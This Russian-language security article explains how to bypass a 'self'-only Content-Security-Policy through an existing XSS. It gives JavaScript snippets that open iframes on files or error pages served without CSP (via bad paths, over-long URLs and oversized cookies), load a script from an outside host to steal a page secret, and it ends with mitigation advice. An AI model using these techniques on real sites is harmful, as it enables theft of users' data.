Содержание статьи
Типичный пример использования CSP — это разрешение загрузки ресурсов с собственного домена (self) и разрешение выполнения инлайн-сценариев:
Content-Security-Policy: default-src 'self' 'unsafe-inline';
Такая политика подразумевает «запрещено все, что не разрешено». В данной конфигурации будет запрещено любое использование функций, выполняющих код в виде строки, таких как eval
, setTimeout
, setInterval
, так как отсутствует настройка 'unsafe-eval'
.
Запрещено грузить любой контент с внешних источников, в том числе изображения, CSS, WebSocket. И конечно же, JS.
WWW
Для примера я специально оставил XSS в этом месте, задача — украсть секрет пользователя.
Но не стоит забывать, что self позволяет работать в контексте SOP в рамках этого домена, поэтому мы по-прежнему можем грузить сценарии, создавать фреймы, изображения. Если вспомнить о фреймах, то CSP распространяется и на фреймы, в том числе если в качестве протокола будет указан data, blob или будет сформирован фрейм с помощью атрибута srcdoc.
WARNING
Статья написана в исследовательских целях. Вся информация в ней носит ознакомительный характер. Ни автор, ни редакция не несет ответственности за неправомерное использование упомянутых в ней аппаратных платформ, программ и техник!
Можно ли выполнить JS в текстовом файле?
Для начала вспомним один трюк. Если современный браузер открывает изображение или какой-то текстовый файл, он автоматически преобразуется в HTML-страницу.
Это нужно для корректного отображения содержимого пользователю, чтобы у изображения был фон и она была расположена по центру. Но iframe
также является окном! Поэтому открытые в нем файлы, которые отображаются в браузере, например favicon.ico или robots.txt, автоматически преобразуются в HTML, независимо от того, корректные ли в нем данные, главное — чтобы был правильный content-type
.
Но что, если фрейм будет содержать страницу сайта, но уже без заголовка CSP? Вопрос риторический. Выполнит ли открытый фрейм без политики все JS, которые будут у него внутри? Если иметь XSS на странице, мы можем сами записать свой JS внутрь фрейма.
Для теста сформируем сценарий, который открывает iframe. Для примера возьмем bootstrap.min.css, путь к которому указан на странице выше.
frame=document.createElement("iframe");
frame.src="/css/bootstrap.min.css";
document.body.appendChild(frame);
Теперь посмотрим на содержимое фрейма. Отлично! CSS был преобразован в HTML, и нам удалось переписать содержимое head (хотя оно было пустое). Теперь проверим, сработает ли в нем подключение внешнего JavaScript-файла.
script=document.createElement('script');
script.src='//bo0om.ru/csp.js';
window.frames[0].document.head.appendChild(script);
Таким образом мы можем выполнить инъекцию через iframe, создать в нем свой JS-сценарий и обратиться в окно-родитель, чтобы украсть оттуда данные.
Для полноценной эксплуатации XSS достаточно открыть фрейм с любым путем, где отсутствует политика безопасности. Это могут быть стандартные favicon.ico, robots.txt, sitemap.xml, CSS/JS-файлы, загруженные пользователями изображения и прочее.
WWW
PoC проведения атаки через robots.txt
.
Ошибки сервера для обхода CSP
Но что, если любой корректный ответ (200 — OK) содержит X-Frame-Options: Deny? Вторая ошибка, которую допускают при внедрении CSP, — это отсутствие защитных заголовков при ошибках веб-сервера. Самый простой вариант — обратиться на несуществующую страницу. Я заметил, что многие ресурсы ставят X-Frame-Options только на ответы 200, но 404 игнорируют.
Если и это предусмотрено — попробуем вызвать стандартное сообщение от веб-сервера о некорректной ссылке.
Чтобы гарантированно вызвать 400 bad request на примере nginx, достаточно обратиться на директорию выше с помощью конструкции /%2e%2e%2f
. Чтобы препятствовать нормализации ссылки браузером (браузер уберет /../
и отправит /
), делаем urlencode точки и последнего слеша:
frame=document.createElement("iframe");
frame.src="/%2e%2e%2f";
document.body.appendChild(frame);
Другой из вариантов развития событий — передача некорректного urlencode в пути, например /%
или /%%z
.
Однако самый простой способ получить ошибку веб-сервера — это превышение длины URL. Современные браузеры могут сформировать ссылку много больше, чем поддерживает веб-сервер. А у веб-серверов по умолчанию размер ссылки не должен превышать 8 Кбайт данных, как в nginx, так и в Apache.
Для этого вызываем похожий сценарий, например с длиной пути в 20 000 байт:
frame=document.createElement("iframe");
frame.src="/"+"A".repeat(20000);
document.body.appendChild(frame);
Если вспомнить о других лимитах — это длина кук. Количество и длина кук в браузере может быть больше, чем поддерживают веб-серверы. По аналогии:
-
Создаем огромные cookie:
for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)};
-
Открываем фрейм на любой адрес, сервер вернет ошибку (и часто без XFO и CSP).
-
Удаляем огромные cookie:
for(var i=0;i<5;i++){document.cookie=i+"="}
-
Пишем в фрейм свой JS-сценарий, который ворует secret.
Попробуй сам! А если не получится, вот тебе PoC :).
Скорее всего, есть и другие способы вызвать ошибку, например отправить слишком длинный POST-запрос или вызвать ошибку самого веб-приложения (например, с ошибкой 500).
Почему это работает?
Потому что политика подключаемого ресурса в фрейме контролируется самим ресурсом.
WWW
На сайте Useless CSP ты найдешь множество примеров сайтов, на которых неверно настроена CSP, что сводит всю защиту на нет.
Как этого избежать
Заголовок Content-Security-Policy должен присутствовать на всех страницах, даже на ошибках веб-сервера.
Настройка CSP должна происходить таким образом, чтобы права были минимально необходимыми для корректной работы ресурса, если это возможно. Попробуй включить Content-Security-Policy-Report-Only: default-src 'none'
и постепенно включать правила для тех или иных ситуаций.
Если для корректной работы ресурса необходимо использовать unsafe-inline
, обязательно нужно внедрить nonce или hash-source, без этого защита от атак типа XSS сходит на нет. А если CSP не защищает от атак, какой в нем смысл?
INFO
Дополнительно, как рассказал @majorisc, данные со страницы можно увести с помощью RTCPeerConnection
, передавая секрет через DNS-запросы. Default-src 'self'
, к сожалению, не защищает и от этого.